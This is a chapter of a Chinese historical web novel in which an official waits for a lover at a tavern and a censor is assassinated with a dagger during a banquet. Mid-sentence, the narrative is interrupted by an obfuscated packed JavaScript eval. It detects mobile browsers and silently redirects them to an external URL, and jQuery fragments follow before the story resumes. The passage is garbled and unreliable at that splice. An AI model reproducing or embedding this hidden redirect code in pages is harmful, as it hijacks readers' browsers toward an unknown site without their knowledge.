29. 琵琶曲

作品:《有花不堪折

    那小厮端着酒,规规矩矩地随侍在一旁,主座上的御史还在下首宾客交谈,他身旁的舞姬动了动身子,想要稍稍撤离,御史又一把搂住了她,不让她离身。


    唉!不是好时机,朱协整个身子都坐直了,微微前倾,仔细地观察着前面的情形。


    晏旼来到登鹤楼,在雅间中已经等了一炷香时间了。


    珠帘掀起,发出清脆的声响,端着食盘的灰衣小厮鱼贯而入,各司其职,添茶、摆果盘、上凉菜,雕花铜炉里的碳正被侍女轻轻翻动着,发出噼里啪啦的声响。


    青绿色的茶汤缓缓注入,荡漾起细碎的茶末。


    晏旼指腹摩挲着那白玉茶杯,姿态从容。他并不心急,方才来的路上已然感到入秋的寒风,吹得人瑟瑟发抖。


    倒是还希望她来的晚一些,房中的银红碳才刚刚点燃,室内还没充斥着暖意。


    下人们安置好一切,便被他挥手退下了。


    他静坐了一回,身上的寒意已弱了大半,炉子里的碳火烧得正旺,暖意顺着身子往上爬。晏旼开始有些坐立难安了起来,得亏这没有旁人,若是被属下见了他这幅略显急躁的模样,也是能惊讶好一阵了。


    他踱步到窗边,越过回廊,眺望着楼下中庭。


    宾客纷纷涌至,客似云来,欢声笑语在回廊中流转,满座的酒香脂粉混杂,一览无余。


    一楼的大堂中间正在上演着歌舞,歌舞升平间,应接不暇,眼花缭乱,京中有名的舞班子正在台上起舞,裙摆恰似一朵朵绽开的鲜艳牡丹,台下的人看着痴迷,纷纷拍手叫好。


    晏旼眼帘半垂,盯着廊下,此刻他无心于这些丝竹管弦,轻歌曼舞,而是迫切地想从人头涌动中,寻到那个令他魂牵梦萦的身影。


    自己生平第一次觉得,被人惦记,把自己的冷暖放在心上,是多么幸福的一件事。


    有心攀附他的人会故意记住他的喜好,畏惧他的人恨不得唯首是瞻,可这些在他眼中看来不过是阿谀奉承,终究都比不上她一双含苞待放的眼睛。


    有什么能抵挡得过,这世间两情相悦的情?


    想到这里,他忽然就笑了。


    晏旼抱着臂,依靠在窗框上,无奈地摇了摇头,像是在嘲笑着自己的心。


    当所有人都沉浸在宴酣之乐中时,登鹤楼的另一间厢房里,更是别样风光。


    白玉瓷壶倾倒下剔透的酒液,陈御史捏着酒杯一饮而尽,他饮酒作乐,不亦乐乎,似乎不知疲倦,眼底早已被烈酒熏红。


    “这酒入喉暖,不仅能舒筋活血,更是能怡情养性,不比那些歌舞强?”陈御史豪迈一笑,座下宾客接连应和他,纷纷夸赞着这酒的妙处。


    可话虽如此,他依旧唤了好几十个舞姬,轮番表演歌舞,乐此不疲。


    依附在他身旁的舞姬有些疲乏,心中百感交织。她是登鹤楼的头牌,姿色和业务都是顶流,实在是不想应付这个油头满面的老男人了。


    她便稍稍挣脱他箍在自己腰上的手,柔声道:


    “大人今夜可是尽兴了?酒过三巡,妾瞧着大人这精神气,倒是比底下那些少年郎君更强些,妾实在是钦佩。”


    陈御史垂首望着怀里娇俏的美人,嘴里说出这般令人心动的话,更为怜爱了。


    “大人这样,实则是官运亨通的好面相啊,妾这身子骨怕是受不住大人的气场强盛。可否容妾下去休整一番,莫让妾的愁容疲态扰了大人的兴?也好给其他仰慕大人的姐妹一个良机……”


    听着怀里柔若无骨的美人夸耀着他,一脸楚楚可怜的模样,令陈御史这个苍老的心,顿时起了一股热涌。


    他定要故作慷慨,在美人面前善解人意一番。本想不放过她的,听到这番甜言蜜语,一颗心了也化成了几摊水了,这般年纪的人最是招架不住别人夸他强胜过少年郎了。


    于是他终于舍得松开美人腰上的手,放她起身,临了还不忘拍拍她的小臂,脸上堆砌着浮肉笑道:“何不早与我言,去吧。”


    舞姬媚眼如丝,娇柔地起身,“大人体贴。”


    御史怀中忽然空了,身旁没有近身的人了,那股若有若无的幽香还在鼻腔挥之不去,令他心痒难耐。


    他抬手,正欲再唤来一人,忽然一股醇厚的酒香传来,他饮酒无数,一下便知这酒不是方才的。


    陈御史侧头一看,原是一个小厮在为他斟酒。


    清澈透明的酒液流淌而下,宛如一方泉水,毫无杂质,带着一丝谷物自有的甜香,口感醇厚宜人,色香味都对了,这是杏花村酿造的汾酒,而且起码有十年之久了!


    清香馥郁之气顿时萦绕周身,这酒与他方才喝的都不同。应不是店家的,兴许是台下某个人的好意。


    他看着那晶莹剔透的酒液,万分垂涎。


    此人倒还挺会献礼,竟然如此便做个顺水人情。小厮缓缓倒完酒,愣是不敢抬首瞧他一眼,躬身垂着头,战战兢兢地奉到他面前。


    陈御史接过,浑身的注意力全在这好酒上了,他迫不及待,仰头一口喝完,酒液在唇齿间如同丝绸般滑动,撩拨着每一处器官。


    唇齿留香,回味绵长。


    “这酒……实在是妙,是何人送来的!”


    陈御史略带欣喜地语调在上头传来,底下宾客皆是一怔,面面相觑,眼神中传递着话。


    忽然台下有个远远的声音,打破了他们的迷惑,“回大人!这酒,是属下送的。”


    御史抬眼遥遥望去,只见最末的位置走出一个年轻的生面孔,面中带着温和笑,眉眼都往一处儿拢。身上虽无贵重饰物装点,但穿戴皆是齐整干净。


    能称的上道的,也只有身上那枚熠熠生辉的官徽,陈御史今日见了不少人,现觉得此人颇为顺眼,眯着眼打量了好一阵子,才缓缓说道:“走上前来。”


    朱协听到此话,别提有多畅快了,就那一瞬,他似乎把往后余生的高官厚禄都遐想了个遍。


    周边的琵琶声渐渐入耳,弹的是《郁轮袍》,是楚王与汉王在垓下之战,歌颂了楚霸王的英雄志气,此时曲声渐入佳境,已到箭在弦上之刻,穿云裂石之音,让人热血沸腾。


    他无视四周愤愤不平的艳羡目光,脚底生花,一步一步地向前走着,踏着这激昂的琵琶曲调,走向那他仰望了一生的高位。


    原来走到前面,不仅光照明亮,更觉暖意浸身。然内心之暖更甚!身外之物不及内心万分。


    他在御史那满怀期待的眼神中走近,心下觉得,这次定是十拿九稳了。


    四周的琵琶声俞加激烈,琴弦重重落下,不似珠落玉盘那般清脆。不过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517062|181724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宾客没也没有注意到这一微不足道的细节,只是都目光灼灼地盯着面前那人,这不知天高地厚的小官朱协!


    不过,御史却皱了皱眉。


    这登鹤楼向来请的是最好的琴师,怎今日的琴音却略显急躁之意?这首曲子本是战时鼓舞之作,被这琴师弹得,像是到了危急存亡之时。


    他心里渐生异样,不好的预感爬上了他的心头。半生浮沉宦海的经历告诉他,没有那么简单,往往自己的直觉才是最真实的。


    他猛地侧头,方才的斟酒小厮不知何时靠近了他的身。


    陈御史恰巧正对上他那双闪着犀利精光的眼。方才这小厮低眉顺眼,十分不引人注目,现下周身的气质却让人背脊发凉,不忍直视!


    遭了!中计了。


    陈御史还来不及呼救,忽然腹中传来猛烈剧痛,带着衣料撕裂之声,转眼间,一把带着刺目鲜血的匕首,从他身上贯穿而出。


    他瞪大了那浑浊的双眼,满是不敢置信,剧痛布满了浑身。他上了年纪,饮酒过多,好面子强撑着,本就身体疲乏,现下更是无力呼救。


    琵琶声不歇,而是换上了诡谲多变的节奏。


    朱协站定,把要说的话在心里过了一遍,才鼓起勇气对上御史。却发现御史神色古怪,双眼痛苦地瞪大。


    身旁那小厮见了不是上前去问候,而是连忙起身,快步走远了,像是有鬼在后面追他似得。


    这是怎么一回事?


    “噗”一口鲜血喷了出来,沾到了朱协的衣裳上。这时才有人注意到,那桌案底下,御史的肚子上插着一把匕首!鲜红的血争先恐后地从他的腹中、口中流出。


    “啊!”一声尖叫,打破了宴会上的人们,众人都停了下来,连忙朝那处看去。


    只见方才还在谈笑风生的御史就这样重重倒了下来,面目狰狞,嘴一张一合,手指着远处,像是有什么没说完的话。


    “大人!大人!你们还愣着做什么,救人,传医者!”


    “不对!这是有刺客!”


    此话一出,人群中顿时像被投了个惊雷般,炸开了锅,很快就乱成一团。有冲出去叫医者的,也有吓得愣在原地的,甚至也不乏想赶紧离开这是非之地的。


    朱协像从头到脚到了一盆冷水,傻傻的愣在了原地,他不曾料到,刺杀之事居然在他眼前发生了。


    他浑身冒冷汗,像是坠入冰窖,此时他只想逃,没想到离御史最近的一次是他将死之时,他只觉得好日子要到头了,早知就不来这地了,怎么被他摊上了这事!


    “尔等不准擅自离开!”


    有几个酒楼的护卫拦在了门口,很快,掌事被搀扶着,软着腿走了进来,他剥开层层围着的人群,血腥味愈重。


    他走近了那躺在血泊里的陈御史,颤抖着探了探他的鼻息。


    静得什么都没有,御史死在了他们酒楼。


    “当家的,你拦住我们是何意?这登鹤楼有刺客!你这是不顾我们的安危。”


    “就是啊,咱们几个都是官职在身的,可不能出什么差错啊。”


    掌事收起手,缓缓站起了身,那精明算计的眼神打量着他们每一个人,拱手道:“诸位,不是我不放你们走,而是这御史被刺杀突然,此刻你们贸然离去,蹊跷得很啊。”